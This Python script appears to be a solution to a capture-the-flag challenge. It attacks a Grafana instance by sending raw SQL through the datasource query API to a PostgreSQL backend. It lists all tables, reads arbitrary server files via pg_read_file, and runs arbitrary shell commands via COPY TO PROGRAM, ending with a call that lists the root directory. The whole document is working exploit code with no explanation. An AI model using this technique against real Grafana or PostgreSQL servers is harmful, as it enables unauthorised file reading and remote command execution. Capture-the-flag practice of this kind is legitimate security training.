import json import requests def query(sql): payload = { "queries": [{ "refId": "A", "datasource": {"type": "grafana-postgresql-datasource", "uid": "P44368ADAD746BC27"}, "rawSql": sql, "format": "table", "datasourceId": 1, "intervalMs": 60000, "maxDataPoints": 995 }], "from": "1772651062151", "to": "1772672662151" } r = requests.post( "https://4gt4pfyloljfqjjoqn4csy5an7-3000-grafasaurus.challenge.cscg.live/api/ds/query", data=json.dumps(payload), headers={'Content-type': 'application/json'} ) return r.text def print_result(text): result = json.loads(text) values = result["results"]["A"]["frames"][0]["data"]["values"] for col in values: for val in col: print(val) def leak_tables(): print(query("SELECT table_schema, table_name FROM information_schema.tables ORDER BY table_schema, table_name")) print(query("SELECT schemaname, tablename FROM pg_tables ORDER BY schemaname, tablename")) def leak_file(path): print(query(f"SELECT pg_read_file('{path}')")) def execute_binary(cmd): query(f"COPY (SELECT 1) TO PROGRAM '{cmd} > /tmp/out.txt 2>&1'") print_result(query("SELECT pg_read_file('/tmp/out.txt')")) execute_binary("ls /")